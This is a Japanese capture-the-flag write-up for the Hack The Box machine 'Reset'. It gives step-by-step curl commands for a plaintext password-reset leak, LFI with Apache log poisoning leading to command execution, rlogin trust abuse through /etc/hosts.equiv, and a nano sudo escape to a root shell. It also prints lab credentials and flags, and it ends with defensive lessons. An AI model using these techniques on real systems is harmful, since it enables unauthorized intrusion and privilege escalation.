Hack The BoxのWriteup(Reset)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Reset — パスワードリセット API 情報漏洩 → Apache ログポイズニング → Rservices rlogin → nano GTFOBin root

ポートスキャン

bash nmap
nmap -sV -sC -p 22,80,512,513,514 10.129.234.130
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Admin Login 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open shell? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポイント

22 (SSH), 80 (HTTP Apache 2.4.52), 512 (rexecd), 513 (rlogind), 514 (rshd) がオープン。Rservices (Berkeley r-commands) が稼働しており、古い認証メカニズムの悪用が期待できる。

Web アプリケーション確認

調査

ブラウザで http://10.129.234.130/ にアクセスすると “Admin Login” 画面が表示される。ログインフォームの下部に “Forgot Password?” リンクがあり、パスワードリセット機能が存在することが確認できる。

Phase 2

パスワードリセット API 情報漏洩 — JSON レスポンスに平文パスワード

パスワードリセットエンドポイントの調査

bash curl でリセット API を呼び出し
curl -s -X POST http://10.129.234.130/reset_password.php -d “username=admin”
{“username”:”admin”,”new_password”:”616e6bec”,”timestamp”:”2026-06-29T10:00:00Z”}
重大な設計ミス

API レスポンスが JSON 形式で新しいパスワードを平文返却している。サーバ側でパスワードを生成・更新した後、クライアントにその値を直接送信しており、盗聴・ログ漏洩・MITM 攻撃で認証情報が流出する致命的な実装ミスである。

取得パスワードでログイン

bash ログイン POST
curl -s -c cookies.txt -X POST http://10.129.234.130/ \ -d “username=admin&password=616e6bec” -L
結果

dashboard.php へリダイレクトされてログイン成功。セッション Cookie が発行される。

取得認証情報

admin : 616e6bec
Phase 3

LFI + Apache ログポイズニング — www-data として RCE → user.txt

dashboard.php の LFI 脆弱性確認

bash file パラメータで LFI 試行
curl -b cookies.txt -s -X POST http://10.129.234.130/dashboard.php \ –data-urlencode “file=/var/log/apache2/access.log”
LFI 確認

dashboard.phpfile= POST パラメータで任意ファイルを読み込める。ホワイトリストとして /var/log/syslog/var/log/auth.log が許可されているが、パストラバーサルで /var/log/apache2/access.log も読込可能。Apache の access.log にはリクエストの User-Agent が記録される。

PHP webshell を User-Agent に埋め込む (Log Poisoning)

bash PHP webshell を User-Agent として送信
curl -s -A “” \ http://10.129.234.130/
注意点 — シングルクォートを使う理由

Apache は User-Agent 内のダブルクォート (") をエスケープして \" として access.log に記録する。PHP がそのままパースすると構文エラーになる。シングルクォートを使うことでエスケープされずに記録され、PHP コードとして正常に動作する。

LFI 経由で access.log を PHP として include → RCE

bash LFI + webshell 実行 (id コマンド確認)
curl -b cookies.txt -s \ “http://10.129.234.130/dashboard.php?c=id” \ -X POST –data-urlencode “file=/var/log/apache2/access.log”
KCSTARTuid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)KCEND
仕組み解説

dashboard.phpinclude() + output buffering + htmlspecialchars() の組み合わせで実装されている。KCSTART / KCEND マーカーで挟むことで、HTML エスケープされた周辺テキストの中からコマンド出力だけを識別・抽出できる。

user.txt 取得

bash sadm の user.txt 読み込み
curl -b cookies.txt -s \ “http://10.129.234.130/dashboard.php?c=cat+/home/sadm/user.txt” \ -X POST –data-urlencode “file=/var/log/apache2/access.log”
KCSTART19ba954c8ba8400cbfc0277f5f1669a4KCEND

user.txt

19ba954c8ba8400cbfc0277f5f1669a4
Phase 4

Rservices rlogin 横断移動 — /etc/hosts.equiv + tmux セッション盗聴

/etc/hosts.equiv の内容確認

bash LFI で hosts.equiv 読み込み
curl -b cookies.txt -s \ “http://10.129.234.130/dashboard.php?c=cat+/etc/hosts.equiv” \ -X POST –data-urlencode “file=/var/log/apache2/access.log”
KCSTART- root – local + sadmKCEND
hosts.equiv の解釈

+ sadm エントリはすべてのホストからユーザ sadm がパスワードなしで rlogin できることを意味する。Kali 側にローカルユーザ sadm を作成し、rlogin で接続すれば認証をバイパスできる。

Kali に sadm ユーザを作成して rlogin 接続

bash ローカルユーザ作成 + rlogin
useradd -m sadm sudo -u sadm rlogin sadm@10.129.234.130
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64) … sadm@reset:~$
結果

パスワード入力なしで sadm@reset としてターゲットにログイン成功。/etc/hosts.equiv+ sadm エントリが Kali からの接続を信頼している。

tmux セッションで sadm パスワードを取得

bash バックグラウンドの tmux セッション確認
ps aux | grep tmux
sadm 1234 0.0 0.0 tmux new-session -d -s sadm_session
bash tmux セッション内容をキャプチャ
tmux capture-pane -p -t sadm_session
$ echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
発見

tmux セッションの履歴に sadm がパスワードを echo ... | sudo -S パターンで入力したコマンドが残っていた。sudo -S は stdin からパスワードを読み込む形式であり、コマンドラインに平文パスワードが記録されてしまっている。

取得認証情報

sadm : 7lE2PAfVHfjz4HpE
Phase 5

nano GTFOBin → root シェル取得 → root.txt

sudo 権限の確認

bash sudo -l
sudo -l
Matching Defaults entries for sadm on reset: env_reset, mail_badpass, … User sadm may run the following commands on reset: (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
ポイント

sudo nano /etc/firewall.sh を任意のユーザとして実行できる。nano は GTFOBins に掲載されているエディタであり、内部からシェルコマンドを実行できる。

nano GTFOBin で root シェル取得

bash sudo nano でエディタ起動
sudo nano /etc/firewall.sh # パスワード: 7lE2PAfVHfjz4HpE を入力
注意 — stdin 問題

echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh は stdin を pipe に奪われるため nano が正常に起動しない。正しくは sudo nano /etc/firewall.sh を実行し、プロンプトに手動でパスワードを入力する。

nano GTFOBin — エディタ内でシェルを起動
# nano 起動後に以下のキーシーケンスを入力: Ctrl+R → Ctrl+X → reset; bash 1>&0 2>&0 → Enter
root@reset:/home/sadm# id uid=0(root) gid=0(root) groups=0(root)
GTFOBin 解説

Ctrl+R (Read File) から Ctrl+X (Execute Command) を選ぶと nano が任意コマンドを実行できる。reset; bash 1>&0 2>&0 でターミナルをリセットしつつ bash を root 権限で起動する。1>&0 は stdout を stdin (nano のファイル記述子) にリダイレクトして対話シェルを確保するための操作。

root.txt 取得

bash root フラグ読み込み
cat /root/root_279e22f8.txt

root.txt

7ad6951bcb5a2edaffd7908b013d29b0
Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 使った脆弱性 / 手法 取得したもの
1 パスワードリセット API 情報漏洩 (JSON 平文返却) admin:616e6bec → dashboard.php アクセス
2 LFI + Apache ログポイズニング (User-Agent PHP 埋め込み) www-data として RCE → user.txt 19ba954c8ba8400cbfc0277f5f1669a4
3 Rservices rlogin (/etc/hosts.equiv + sadm) + tmux 盗聴 sadm:7lE2PAfVHfjz4HpE
4 nano GTFOBin (sudo PASSWD → Ctrl+R → Ctrl+X) root シェル → root.txt 7ad6951bcb5a2edaffd7908b013d29b0

防御側の学び

  • パスワードリセット API の設計: リセット後のパスワードをレスポンスに含めない。代わりにメールや SMS で安全なチャネルを通じてユーザに通知する。
  • LFI の根本対策: include() へのユーザ入力を直接渡さない。ファイルパスは内部マッピング (allowlist ID) で管理し、パストラバーサルを完全に防ぐ。
  • Apache ログポイズニング対策: PHP で外部ログファイルを include しない。ログ表示が必要な場合は readfile() / file_get_contents() を使い、PHP 実行を伴わない形で出力する。
  • Rservices の廃止: rlogin/rsh/rexec は認証が脆弱な古いプロトコルであり、現代的なシステムでは SSH に置き換えるべき。/etc/hosts.equiv+ エントリは特に危険。
  • sudo コマンドのスコープ制限: テキストエディタ (nano, vi, vim 等) を sudo で許可すると GTFOBins 経由でシェル昇格が可能。NOEXEC オプションも完全な対策にはならないため、エディタへの sudo 権限付与は避ける。
  • tmux / screen セッション管理: 共有セッションやデタッチされたセッションにパスワードを含むコマンドを残さない。sudo -S パターンはコマンド履歴にパスワードが残るため使用しない。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。